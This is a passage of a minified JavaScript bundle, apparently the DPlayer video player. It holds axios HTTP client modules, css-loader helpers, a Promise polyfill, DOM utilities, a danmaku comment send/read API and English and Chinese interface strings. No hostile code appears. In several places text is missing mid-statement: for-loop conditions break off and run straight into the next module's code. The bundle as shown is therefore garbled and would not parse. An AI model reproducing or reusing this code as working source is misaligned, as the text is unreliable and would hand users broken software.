n&&(n=null==n?"":"function"==typeof n?i(n.call(n)):JSON.stringify(n)),n}o.$escape=function(n){return function(n){var e=""+n,t=r.exec(e);if(!t)return n;var a="",o=void 0,i=void 0,l=void 0;for(o=t.index,i=0;o{"use strict";n.exports=t(9959)},6208:(n,e,t)=>{n.exports=t(4568)},8170:(n,e,t)=>{"use strict";var a=t(7201),o=t(9095),r=t(8416),i=t(6374),l=t(5967),s=t(5032),p=t(1224),d=t(4033),A=t(1766),c=t(8832),u=t(8699);n.exports=function(n){return new Promise((function(e,t){var y,h=n.data,m=n.headers,f=n.responseType;function b(){n.cancelToken&&n.cancelToken.unsubscribe(y),n.signal&&n.signal.removeEventListener("abort",y)}a.isFormData(h)&&a.isStandardBrowserEnv()&&delete m["Content-Type"];var g=new XMLHttpRequest;if(n.auth){var v=n.auth.username||"",E=n.auth.password?unescape(encodeURIComponent(n.auth.password)):"";m.Authorization="Basic "+btoa(v+":"+E)}var x=l(n.baseURL,n.url);function C(){if(g){var a="getAllResponseHeaders"in g?s(g.getAllResponseHeaders()):null,r={data:f&&"text"!==f&&"json"!==f?g.response:g.responseText,status:g.status,statusText:g.statusText,headers:a,config:n,request:g};o((function(n){e(n),b()}),(function(n){t(n),b()}),r),g=null}}if(g.open(n.method.toUpperCase(),i(x,n.params,n.paramsSerializer),!0),g.timeout=n.timeout,"onloadend"in g?g.onloadend=C:g.onreadystatechange=function(){g&&4===g.readyState&&(0!==g.status||g.responseURL&&0===g.responseURL.indexOf("file:"))&&setTimeout(C)},g.onabort=function(){g&&(t(new A("Request aborted",A.ECONNABORTED,n,g)),g=null)},g.onerror=function(){t(new A("Network Error",A.ERR_NETWORK,n,g,g)),g=null},g.ontimeout=function(){var e=n.timeout?"timeout of "+n.timeout+"ms exceeded":"timeout exceeded",a=n.transitional||d;n.timeoutErrorMessage&&(e=n.timeoutErrorMessage),t(new A(e,a.clarifyTimeoutError?A.ETIMEDOUT:A.ECONNABORTED,n,g)),g=null},a.isStandardBrowserEnv()){var k=(n.withCredentials||p(x))&&n.xsrfCookieName?r.read(n.xsrfCookieName):void 0;k&&(m[n.xsrfHeaderName]=k)}"setRequestHeader"in g&&a.forEach(m,(function(n,e){void 0===h&&"content-type"===e.toLowerCase()?delete m[e]:g.setRequestHeader(e,n)})),a.isUndefined(n.withCredentials)||(g.withCredentials=!!n.withCredentials),f&&"json"!==f&&(g.responseType=n.responseType),"function"==typeof n.onDownloadProgress&&g.addEventListener("progress",n.onDownloadProgress),"function"==typeof n.onUploadProgress&&g.upload&&g.upload.addEventListener("progress",n.onUploadProgress),(n.cancelToken||n.signal)&&(y=function(n){g&&(t(!n||n&&n.type?new c:n),g.abort(),g=null)},n.cancelToken&&n.cancelToken.subscribe(y),n.signal&&(n.signal.aborted?y():n.signal.addEventListener("abort",y))),h||(h=null);var w=u(x);w&&-1===["http","https","file"].indexOf(w)?t(new A("Unsupported protocol "+w+":",A.ERR_BAD_REQUEST,n)):g.send(h)}))}},4568:(n,e,t)=>{"use strict";var a=t(7201),o=t(5305),r=t(2275),i=t(9834),l=function n(e){var t=new r(e),l=o(r.prototype.request,t);return a.extend(l,r.prototype,t),a.extend(l,t),l.create=function(t){return n(i(e,t))},l}(t(6339));l.Axios=r,l.CanceledError=t(8832),l.CancelToken=t(5027),l.isCancel=t(1893),l.VERSION=t(4316).version,l.toFormData=t(6615),l.AxiosError=t(1766),l.Cancel=l.CanceledError,l.all=function(n){return Promise.all(n)},l.spread=t(3282),l.isAxiosError=t(3319),n.exports=l,n.exports.default=l},5027:(n,e,t)=>{"use strict";var a=t(8832);function o(n){if("function"!=typeof n)throw new TypeError("executor must be a function.");var e;this.promise=new Promise((function(n){e=n}));var t=this;this.promise.then((function(n){if(t._listeners){var e,a=t._listeners.length;for(e=0;e{"use strict";var a=t(1766);function o(n){a.call(this,null==n?"canceled":n,a.ERR_CANCELED),this.name="CanceledError"}t(7201).inherits(o,a,{__CANCEL__:!0}),n.exports=o},1893:n=>{"use strict";n.exports=function(n){return!(!n||!n.__CANCEL__)}},2275:(n,e,t)=>{"use strict";var a=t(7201),o=t(6374),r=t(6808),i=t(7313),l=t(9834),s=t(5967),p=t(9712),d=p.validators;function A(n){this.defaults=n,this.interceptors={request:new r,response:new r}}A.prototype.request=function(n,e){"string"==typeof n?(e=e||{}).url=n:e=n||{},(e=l(this.defaults,e)).method?e.method=e.method.toLowerCase():this.defaults.method?e.method=this.defaults.method.toLowerCase():e.method="get";var t=e.transitional;void 0!==t&&p.assertOptions(t,{silentJSONParsing:d.transitional(d.boolean),forcedJSONParsing:d.transitional(d.boolean),clarifyTimeoutError:d.transitional(d.boolean)},!1);var a=[],o=!0;this.interceptors.request.forEach((function(n){"function"==typeof n.runWhen&&!1===n.runWhen(e)||(o=o&&n.synchronous,a.unshift(n.fulfilled,n.rejected))}));var r,s=[];if(this.interceptors.response.forEach((function(n){s.push(n.fulfilled,n.rejected)})),!o){var A=[i,void 0];for(Array.prototype.unshift.apply(A,a),A=A.concat(s),r=Promise.resolve(e);A.length;)r=r.then(A.shift(),A.shift());return r}for(var c=e;a.length;){var u=a.shift(),y=a.shift();try{c=u(c)}catch(n){y(n);break}}try{r=i(c)}catch(n){return Promise.reject(n)}for(;s.length;)r=r.then(s.shift(),s.shift());return r},A.prototype.getUri=function(n){n=l(this.defaults,n);var e=s(n.baseURL,n.url);return o(e,n.params,n.paramsSerializer)},a.forEach(["delete","get","head","options"],(function(n){A.prototype[n]=function(e,t){return this.request(l(t||{},{method:n,url:e,data:(t||{}).data}))}})),a.forEach(["post","put","patch"],(function(n){function e(e){return function(t,a,o){return this.request(l(o||{},{method:n,headers:e?{"Content-Type":"multipart/form-data"}:{},url:t,data:a}))}}A.prototype[n]=e(),A.prototype[n+"Form"]=e(!0)})),n.exports=A},1766:(n,e,t)=>{"use strict";var a=t(7201);function o(n,e,t,a,o){Error.call(this),this.message=n,this.name="AxiosError",e&&(this.code=e),t&&(this.config=t),a&&(this.request=a),o&&(this.response=o)}a.inherits(o,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:this.config,code:this.code,status:this.response&&this.response.status?this.response.status:null}}});var r=o.prototype,i={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED"].forEach((function(n){i[n]={value:n}})),Object.defineProperties(o,i),Object.defineProperty(r,"isAxiosError",{value:!0}),o.from=function(n,e,t,i,l,s){var p=Object.create(r);return a.toFlatObject(n,p,(function(n){return n!==Error.prototype})),o.call(p,n.message,e,t,i,l),p.name=n.name,s&&Object.assign(p,s),p},n.exports=o},6808:(n,e,t)=>{"use strict";var a=t(7201);function o(){this.handlers=[]}o.prototype.use=function(n,e,t){return this.handlers.push({fulfilled:n,rejected:e,synchronous:!!t&&t.synchronous,runWhen:t?t.runWhen:null}),this.handlers.length-1},o.prototype.eject=function(n){this.handlers[n]&&(this.handlers[n]=null)},o.prototype.forEach=function(n){a.forEach(this.handlers,(function(e){null!==e&&n(e)}))},n.exports=o},5967:(n,e,t)=>{"use strict";var a=t(724),o=t(4669);n.exports=function(n,e){return n&&!a(e)?o(n,e):e}},7313:(n,e,t)=>{"use strict";var a=t(7201),o=t(6431),r=t(1893),i=t(6339),l=t(8832);function s(n){if(n.cancelToken&&n.cancelToken.throwIfRequested(),n.signal&&n.signal.aborted)throw new l}n.exports=function(n){return s(n),n.headers=n.headers||{},n.data=o.call(n,n.data,n.headers,n.transformRequest),n.headers=a.merge(n.headers.common||{},n.headers[n.method]||{},n.headers),a.forEach(["delete","get","head","post","put","patch","common"],(function(e){delete n.headers[e]})),(n.adapter||i.adapter)(n).then((function(e){return s(n),e.data=o.call(n,e.data,e.headers,n.transformResponse),e}),(function(e){return r(e)||(s(n),e&&e.response&&(e.response.data=o.call(n,e.response.data,e.response.headers,n.transformResponse))),Promise.reject(e)}))}},9834:(n,e,t)=>{"use strict";var a=t(7201);n.exports=function(n,e){e=e||{};var t={};function o(n,e){return a.isPlainObject(n)&&a.isPlainObject(e)?a.merge(n,e):a.isPlainObject(e)?a.merge({},e):a.isArray(e)?e.slice():e}function r(t){return a.isUndefined(e[t])?a.isUndefined(n[t])?void 0:o(void 0,n[t]):o(n[t],e[t])}function i(n){if(!a.isUndefined(e[n]))return o(void 0,e[n])}function l(t){return a.isUndefined(e[t])?a.isUndefined(n[t])?void 0:o(void 0,n[t]):o(void 0,e[t])}function s(t){return t in e?o(n[t],e[t]):t in n?o(void 0,n[t]):void 0}var p={url:i,method:i,data:i,baseURL:l,transformRequest:l,transformResponse:l,paramsSerializer:l,timeout:l,timeoutMessage:l,withCredentials:l,adapter:l,responseType:l,xsrfCookieName:l,xsrfHeaderName:l,onUploadProgress:l,onDownloadProgress:l,decompress:l,maxContentLength:l,maxBodyLength:l,beforeRedirect:l,transport:l,httpAgent:l,httpsAgent:l,cancelToken:l,socketPath:l,responseEncoding:l,validateStatus:s};return a.forEach(Object.keys(n).concat(Object.keys(e)),(function(n){var e=p[n]||r,o=e(n);a.isUndefined(o)&&e!==s||(t[n]=o)})),t}},9095:(n,e,t)=>{"use strict";var a=t(1766);n.exports=function(n,e,t){var o=t.config.validateStatus;t.status&&o&&!o(t.status)?e(new a("Request failed with status code "+t.status,[a.ERR_BAD_REQUEST,a.ERR_BAD_RESPONSE][Math.floor(t.status/100)-4],t.config,t.request,t)):n(t)}},6431:(n,e,t)=>{"use strict";var a=t(7201),o=t(6339);n.exports=function(n,e,t){var r=this||o;return a.forEach(t,(function(t){n=t.call(r,n,e)})),n}},6339:(n,e,t)=>{"use strict";var a=t(7201),o=t(5227),r=t(1766),i=t(4033),l=t(6615),s={"Content-Type":"application/x-www-form-urlencoded"};function p(n,e){!a.isUndefined(n)&&a.isUndefined(n["Content-Type"])&&(n["Content-Type"]=e)}var d,A={transitional:i,adapter:(("undefined"!=typeof XMLHttpRequest||"undefined"!=typeof process&&"[object process]"===Object.prototype.toString.call(process))&&(d=t(8170)),d),transformRequest:[function(n,e){if(o(e,"Accept"),o(e,"Content-Type"),a.isFormData(n)||a.isArrayBuffer(n)||a.isBuffer(n)||a.isStream(n)||a.isFile(n)||a.isBlob(n))return n;if(a.isArrayBufferView(n))return n.buffer;if(a.isURLSearchParams(n))return p(e,"application/x-www-form-urlencoded;charset=utf-8"),n.toString();var t,r=a.isObject(n),i=e&&e["Content-Type"];if((t=a.isFileList(n))||r&&"multipart/form-data"===i){var s=this.env&&this.env.FormData;return l(t?{"files[]":n}:n,s&&new s)}return r||"application/json"===i?(p(e,"application/json"),function(n,e,t){if(a.isString(n))try{return(0,JSON.parse)(n),a.trim(n)}catch(n){if("SyntaxError"!==n.name)throw n}return(0,JSON.stringify)(n)}(n)):n}],transformResponse:[function(n){var e=this.transitional||A.transitional,t=e&&e.silentJSONParsing,o=e&&e.forcedJSONParsing,i=!t&&"json"===this.responseType;if(i||o&&a.isString(n)&&n.length)try{return JSON.parse(n)}catch(n){if(i){if("SyntaxError"===n.name)throw r.from(n,r.ERR_BAD_RESPONSE,this,null,this.response);throw n}}return n}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:t(3997)},validateStatus:function(n){return n>=200&&n<300},headers:{common:{Accept:"application/json, text/plain, */*"}}};a.forEach(["delete","get","head"],(function(n){A.headers[n]={}})),a.forEach(["post","put","patch"],(function(n){A.headers[n]=a.merge(s)})),n.exports=A},4033:n=>{"use strict";n.exports={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1}},4316:n=>{n.exports={version:"0.27.2"}},5305:n=>{"use strict";n.exports=function(n,e){return function(){for(var t=new Array(arguments.length),a=0;a{"use strict";var a=t(7201);function o(n){return encodeURIComponent(n).replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}n.exports=function(n,e,t){if(!e)return n;var r;if(t)r=t(e);else if(a.isURLSearchParams(e))r=e.toString();else{var i=[];a.forEach(e,(function(n,e){null!=n&&(a.isArray(n)?e+="[]":n=[n],a.forEach(n,(function(n){a.isDate(n)?n=n.toISOString():a.isObject(n)&&(n=JSON.stringify(n)),i.push(o(e)+"="+o(n))})))})),r=i.join("&")}if(r){var l=n.indexOf("#");-1!==l&&(n=n.slice(0,l)),n+=(-1===n.indexOf("?")?"?":"&")+r}return n}},4669:n=>{"use strict";n.exports=function(n,e){return e?n.replace(/\/+$/,"")+"/"+e.replace(/^\/+/,""):n}},8416:(n,e,t)=>{"use strict";var a=t(7201);n.exports=a.isStandardBrowserEnv()?{write:function(n,e,t,o,r,i){var l=[];l.push(n+"="+encodeURIComponent(e)),a.isNumber(t)&&l.push("expires="+new Date(t).toGMTString()),a.isString(o)&&l.push("path="+o),a.isString(r)&&l.push("domain="+r),!0===i&&l.push("secure"),document.cookie=l.join("; ")},read:function(n){var e=document.cookie.match(new RegExp("(^|;\\s*)("+n+")=([^;]*)"));return e?decodeURIComponent(e[3]):null},remove:function(n){this.write(n,"",Date.now()-864e5)}}:{write:function(){},read:function(){return null},remove:function(){}}},724:n=>{"use strict";n.exports=function(n){return/^([a-z][a-z\d+\-.]*:)?\/\//i.test(n)}},3319:(n,e,t)=>{"use strict";var a=t(7201);n.exports=function(n){return a.isObject(n)&&!0===n.isAxiosError}},1224:(n,e,t)=>{"use strict";var a=t(7201);n.exports=a.isStandardBrowserEnv()?function(){var n,e=/(msie|trident)/i.test(navigator.userAgent),t=document.createElement("a");function o(n){var a=n;return e&&(t.setAttribute("href",a),a=t.href),t.setAttribute("href",a),{href:t.href,protocol:t.protocol?t.protocol.replace(/:$/,""):"",host:t.host,search:t.search?t.search.replace(/^\?/,""):"",hash:t.hash?t.hash.replace(/^#/,""):"",hostname:t.hostname,port:t.port,pathname:"/"===t.pathname.charAt(0)?t.pathname:"/"+t.pathname}}return n=o(window.location.href),function(e){var t=a.isString(e)?o(e):e;return t.protocol===n.protocol&&t.host===n.host}}():function(){return!0}},5227:(n,e,t)=>{"use strict";var a=t(7201);n.exports=function(n,e){a.forEach(n,(function(t,a){a!==e&&a.toUpperCase()===e.toUpperCase()&&(n[e]=t,delete n[a])}))}},3997:n=>{n.exports=null},5032:(n,e,t)=>{"use strict";var a=t(7201),o=["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"];n.exports=function(n){var e,t,r,i={};return n?(a.forEach(n.split("\n"),(function(n){if(r=n.indexOf(":"),e=a.trim(n.substr(0,r)).toLowerCase(),t=a.trim(n.substr(r+1)),e){if(i[e]&&o.indexOf(e)>=0)return;i[e]="set-cookie"===e?(i[e]?i[e]:[]).concat([t]):i[e]?i[e]+", "+t:t}})),i):i}},8699:n=>{"use strict";n.exports=function(n){var e=/^([-+\w]{1,25})(:?\/\/|:)/.exec(n);return e&&e[1]||""}},3282:n=>{"use strict";n.exports=function(n){return function(e){return n.apply(null,e)}}},6615:(n,e,t)=>{"use strict";function a(n){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},a(n)}var o=t(7201);n.exports=function(n,e){e=e||new FormData;var t=[];function r(n){return null===n?"":o.isDate(n)?n.toISOString():o.isArrayBuffer(n)||o.isTypedArray(n)?"function"==typeof Blob?new Blob([n]):Buffer.from(n):n}return function n(i,l){if(o.isPlainObject(i)||o.isArray(i)){if(-1!==t.indexOf(i))throw Error("Circular reference detected in "+l);t.push(i),o.forEach(i,(function(t,i){if(!o.isUndefined(t)){var s,p=l?l+"."+i:i;if(t&&!l&&"object"===a(t))if(o.endsWith(i,"{}"))t=JSON.stringify(t);else if(o.endsWith(i,"[]")&&(s=o.toArray(t)))return void s.forEach((function(n){!o.isUndefined(n)&&e.append(p,r(n))}));n(t,p)}})),t.pop()}else e.append(l,r(i))}(n),e}},9712:(n,e,t)=>{"use strict";function a(n){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},a(n)}var o=t(4316).version,r=t(1766),i={};["object","boolean","number","function","string","symbol"].forEach((function(n,e){i[n]=function(t){return a(t)===n||"a"+(e<1?"n ":" ")+n}}));var l={};i.transitional=function(n,e,t){function a(n,e){return"[Axios v"+o+"] Transitional option '"+n+"'"+e+(t?". "+t:"")}return function(t,o,i){if(!1===n)throw new r(a(o," has been removed"+(e?" in "+e:"")),r.ERR_DEPRECATED);return e&&!l[o]&&(l[o]=!0,console.warn(a(o," has been deprecated since v"+e+" and will be removed in the near future"))),!n||n(t,o,i)}},n.exports={assertOptions:function(n,e,t){if("object"!==a(n))throw new r("options must be an object",r.ERR_BAD_OPTION_VALUE);for(var o=Object.keys(n),i=o.length;i-- >0;){var l=o[i],s=e[l];if(s){var p=n[l],d=void 0===p||s(p,l,n);if(!0!==d)throw new r("option "+l+" must be "+d,r.ERR_BAD_OPTION_VALUE)}else if(!0!==t)throw new r("Unknown option "+l,r.ERR_BAD_OPTION)}},validators:i}},7201:(n,e,t)=>{"use strict";function a(n){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},a(n)}var o,r=t(5305),i=Object.prototype.toString,l=(o=Object.create(null),function(n){var e=i.call(n);return o[e]||(o[e]=e.slice(8,-1).toLowerCase())});function s(n){return n=n.toLowerCase(),function(e){return l(e)===n}}function p(n){return Array.isArray(n)}function d(n){return void 0===n}var A=s("ArrayBuffer");function c(n){return null!==n&&"object"===a(n)}function u(n){if("object"!==l(n))return!1;var e=Object.getPrototypeOf(n);return null===e||e===Object.prototype}var y=s("Date"),h=s("File"),m=s("Blob"),f=s("FileList");function b(n){return"[object Function]"===i.call(n)}var g=s("URLSearchParams");function v(n,e){if(null!=n)if("object"!==a(n)&&(n=[n]),p(n))for(var t=0,o=n.length;t0;)i[r=a[o]]||(e[r]=n[r],i[r]=!0);n=Object.getPrototypeOf(n)}while(n&&(!t||t(n,e))&&n!==Object.prototype);return e},kindOf:l,kindOfTest:s,endsWith:function(n,e,t){n=String(n),(void 0===t||t>n.length)&&(t=n.length),t-=e.length;var a=n.indexOf(e,t);return-1!==a&&a===t},toArray:function(n){if(!n)return null;var e=n.length;if(d(e))return null;for(var t=new Array(e);e-- >0;)t[e]=n[e];return t},isTypedArray:x,isFileList:f}},8160:n=>{"use strict";n.exports=function(n){var e=[];return e.toString=function(){return this.map((function(e){var t="",a=void 0!==e[5];return e[4]&&(t+="@supports (".concat(e[4],") {")),e[2]&&(t+="@media ".concat(e[2]," {")),a&&(t+="@layer".concat(e[5].length>0?" ".concat(e[5]):""," {")),t+=n(e),a&&(t+="}"),e[2]&&(t+="}"),e[4]&&(t+="}"),t})).join("")},e.i=function(n,t,a,o,r){"string"==typeof n&&(n=[[null,n,void 0]]);var i={};if(a)for(var l=0;l0?" ".concat(d[5]):""," {").concat(d[1],"}")),d[5]=r),t&&(d[2]?(d[1]="@media ".concat(d[2]," {").concat(d[1],"}"),d[2]=t):d[2]=t),o&&(d[4]?(d[1]="@supports (".concat(d[4],") {").concat(d[1],"}"),d[4]=o):d[4]="".concat(o)),e.push(d))}},e}},8431:n=>{"use strict";n.exports=function(n,e){return e||(e={}),n?(n=String(n.__esModule?n.default:n),/^['"].*['"]$/.test(n)&&(n=n.slice(1,-1)),e.hash&&(n+=e.hash),/["'() \t\n]|(%20)/.test(n)||e.needQuotes?'"'.concat(n.replace(/"/g,'\\"').replace(/\n/g,"\\n"),'"'):n):n}},8955:n=>{"use strict";n.exports=function(n){var e=n[1],t=n[3];if(!t)return e;if("function"==typeof btoa){var a=btoa(unescape(encodeURIComponent(JSON.stringify(t)))),o="sourceMappingURL=data:application/json;charset=utf-8;base64,".concat(a),r="/*# ".concat(o," */"),i=t.sources.map((function(n){return"/*# sourceURL=".concat(t.sourceRoot||"").concat(n," */")}));return[e].concat(i).concat([r]).join("\n")}return[e].join("\n")}},7831:n=>{"use strict";n.exports="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAADGCAYAAAAT+OqFAAAAdklEQVQoz42QQQ7AIAgEF/T/D+kbq/RWAlnQyyazA4aoAB4FsBSA/bFjuF1EOL7VbrIrBuusmrt4ZZORfb6ehbWdnRHEIiITaEUKa5EJqUakRSaEYBJSCY2dEstQY7AuxahwXFrvZmWl2rh4JZ07z9dLtesfNj5q0FU3A5ObbwAAAABJRU5ErkJggg=="}},e={};function t(a){var o=e[a];if(void 0!==o)return o.exports;var r=e[a]={id:a,exports:{}};return n[a](r,r.exports,t),r.exports}t.m=n,t.n=n=>{var e=n&&n.__esModule?()=>n.default:()=>n;return t.d(e,{a:e}),e},t.d=(n,e)=>{for(var a in e)t.o(e,a)&&!t.o(n,a)&&Object.defineProperty(n,a,{enumerable:!0,get:e[a]})},t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(n){if("object"==typeof window)return window}}(),t.o=(n,e)=>Object.prototype.hasOwnProperty.call(n,e),t.b=document.baseURI||self.location.href,t.nc=void 0;var a={};return(()=>{"use strict";t.d(a,{default:()=>bt});var n=t(9624),e=t.n(n),o=t(6990),r=t.n(o),i=t(6892),l=t.n(i),s=t(6359),p=t.n(s),d=t(2716),A=t.n(d),c=t(230),u=t.n(c),y=t(3150),h={};h.styleTagTransform=u(),h.setAttributes=p(),h.insert=l().bind(null,"head"),h.domAPI=r(),h.insertStyleElement=A(),e()(y.Z,h),y.Z&&y.Z.locals&&y.Z.locals;function m(n){return m="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},m(n)}function f(n){return f="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},f(n)}var b=setTimeout;function g(n){return Boolean(n&&void 0!==n.length)}function v(){}function E(n){if(!(this instanceof E))throw new TypeError("Promises must be constructed via new");if("function"!=typeof n)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],I(n,this)}function x(n,e){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,E._immediateFn((function(){var t=1===n._state?e.onFulfilled:e.onRejected;if(null!==t){var a;try{a=t(n._value)}catch(n){return void k(e.promise,n)}C(e.promise,a)}else(1===n._state?C:k)(e.promise,n._value)}))):n._deferreds.push(e)}function C(n,e){try{if(e===n)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"===f(e)||"function"==typeof e)){var t=e.then;if(e instanceof E)return n._state=3,n._value=e,void w(n);if("function"==typeof t)return void I((a=t,o=e,function(){a.apply(o,arguments)}),n)}n._state=1,n._value=e,w(n)}catch(e){k(n,e)}var a,o}function k(n,e){n._state=2,n._value=e,w(n)}function w(n){2===n._state&&0===n._deferreds.length&&E._immediateFn((function(){n._handled||E._unhandledRejectionFn(n._value)}));for(var e=0,t=n._deferreds.length;e0?[e,t,a]:[t,a]).map((function(n){return n<10?"0"+n:""+n})).join(":")},getElementViewLeft:function(n){var e=n.offsetLeft,t=n.offsetParent,a=document.body.scrollLeft+document.documentElement.scrollLeft;if(document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement)for(;null!==t&&t!==n;)e+=t.offsetLeft,t=t.offsetParent;else for(;null!==t;)e+=t.offsetLeft,t=t.offsetParent;return e-a},getBoundingClientRectViewLeft:function(n){var e=window.scrollY||window.pageYOffset||document.body.scrollTop+(document.documentElement&&document.documentElement.scrollTop||0);if(n.getBoundingClientRect){if("number"!=typeof this.getBoundingClientRectViewLeft.offset){var t=document.createElement("div");t.style.cssText="position:absolute;top:0;left:0;",document.body.appendChild(t),this.getBoundingClientRectViewLeft.offset=-t.getBoundingClientRect().top-e,document.body.removeChild(t),t=null}var a=n.getBoundingClientRect(),o=this.getBoundingClientRectViewLeft.offset;return a.left+o}return this.getElementViewLeft(n)},getScrollPosition:function(){return{left:window.pageXOffset||document.documentElement.scrollLeft||document.body.scrollLeft||0,top:window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0}},setScrollPosition:function(n){var e=n.left,t=void 0===e?0:e,a=n.top,o=void 0===a?0:a;this.isFirefox?(document.documentElement.scrollLeft=t,document.documentElement.scrollTop=o):window.scrollTo(t,o)},isMobile:L,isFirefox:/firefox/i.test(window.navigator.userAgent),isChrome:/chrome/i.test(window.navigator.userAgent),isSafari:/safari/i.test(window.navigator.userAgent),storage:{set:function(n,e){localStorage.setItem(n,e)},get:function(n){return localStorage.getItem(n)}},nameMap:{dragStart:L?"touchstart":"mousedown",dragMove:L?"touchmove":"mousemove",dragEnd:L?"touchend":"mouseup"},color2Number:function(n){return"#"===n[0]&&(n=n.substr(1)),3===n.length&&(n="".concat(n[0]).concat(n[0]).concat(n[1]).concat(n[1]).concat(n[2]).concat(n[2])),parseInt(n,16)+0&16777215},number2Color:function(n){return"#"+("00000"+n.toString(16)).slice(-6)},number2Type:function(n){switch(n){case 0:default:return"right";case 1:return"top";case 2:return"bottom"}}};var q=t(6208),D=t.n(q);const T={send:function(n){D().post(n.url,n.data).then((function(e){var t=e.data;t&&0===t.code?n.success&&n.success(t):n.error&&n.error(t&&t.msg)})).catch((function(e){console.error(e),n.error&&n.error()}))},read:function(n){D().get(n.url).then((function(e){var t=e.data;t&&0===t.code?n.success&&n.success(t.data.map((function(n){return{time:n[0],type:n[1],color:n[2],author:n[3],text:n[4]}}))):n.error&&n.error(t&&t.msg)})).catch((function(e){console.error(e),n.error&&n.error()}))}};function O(n){return O="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},O(n)}function Y(n){var e=this;this.lang=n,this.fallbackLang=this.lang.includes("-")?this.lang.split("-")[0]:this.lang,this.tran=function(n){return n=n.toLowerCase(),M[e.lang]&&M[e.lang][n]?M[e.lang][n]:M[e.fallbackLang]&&M[e.fallbackLang][n]?M[e.fallbackLang][n]:N[n]?N[n]:n}}var N={"danmaku-loading":"Danmaku is loading",top:"Top",bottom:"Bottom",rolling:"Rolling","input-danmaku-enter":"Input danmaku, hit Enter","about-author":"About author","dplayer-feedback":"DPlayer feedback","about-dplayer":"About DPlayer",loop:"Loop",speed:"Speed","opacity-danmaku":"Opacity for danmaku",normal:"Normal","please-input-danmaku":"Please input danmaku content!","set-danmaku-color":"Set danmaku color","set-danmaku-type":"Set danmaku type","show-danmaku":"Show danmaku","video-failed":"Video load failed","danmaku-failed":"Danmaku load failed","danmaku-send-failed":"Danmaku send failed","switching-quality":"Switching to %q quality","switched-quality":"Switched to %q quality",ff:"FF %s s",rew:"REW %s s","unlimited-danmaku":"Unlimited danmaku","send-danmaku":"Send danmaku",setting:"Setting",fullscreen:"Full screen","web-fullscreen":"Web full screen",send:"Send",screenshot:"Screenshot",airplay:"AirPlay",chromecast:"ChromeCast",subtitle:"Subtitle",off:"Off","show-subs":"Show subtitle","hide-subs":"Hide subtitle",volume:"Volume",live:"Live","video-info":"Video info"},M={en:N,"zh-cn":{"danmaku-loading":"弹幕加载中",top:"顶部",bottom:"底部",rolling:"滚动","input-danmaku-enter":"输入弹幕,回车发送","about-author":"关于作者","dplayer-feedback":"播放器意见反馈","about-dplayer":"关于 DPlayer 播放器",loop:"洗脑循环",speed:"速度","opacity-danmaku":"弹幕透明度",normal:"正常","please-input-danmaku":"要输入弹幕内容啊喂!","set-danmaku-color":"设置弹幕颜色","set-danmaku-type":"设置弹幕类型","show-danmaku":"显示弹幕","video-failed":"视频加载失败","danmaku-failed":"弹幕加载失败","danmaku-send-failed":"弹幕发送失败","switching-quality":"正在切换至 %q 画质","switched-quality":"已经切换至 %q 画质",ff:"快进 %s 秒",rew:"快退 %s 秒","unlimited-danmaku":"海量弹幕","send-danmaku":"发送弹幕",setting:"设置",fullscreen:"全屏","web-fullscreen":"页面全屏",send:"发送",screenshot:"截图",airplay:"无线投屏",chromecast:"ChromeCast",subtitle:"字幕",off:"关闭","show-subs":"显示字幕","hide-subs":"隐藏字幕",volume:"音量",live:"直播","video-info":"视频统计信息"},"zh-tw":{"danmaku-loading":"彈幕載入中",top:"頂部",bottom:"底部",rolling:"滾動","input-danmaku-enter":"輸入彈幕,Enter 發送","about-author":"關於作者","dplayer-feedback":"播放器意見回饋","about-dplayer":"關於 DPlayer 播放器",loop:"循環播放",speed:"速度","opacity-danmaku":"彈幕透明度",normal:"正常","please-input-danmaku":"請輸入彈幕內容啊!","set-danmaku-color":"設定彈幕顏色","set-danmaku-type":"設定彈幕類型","show-danmaku":"顯示彈幕","video-failed":"影片載入失敗","danmaku-failed":"彈幕載入失敗","danmaku-send-failed":"彈幕發送失敗","switching-quality":"正在切換至 %q 畫質","switched-quality":"已經切換至 %q 畫質",ff:"快進 %s 秒",rew:"快退 %s 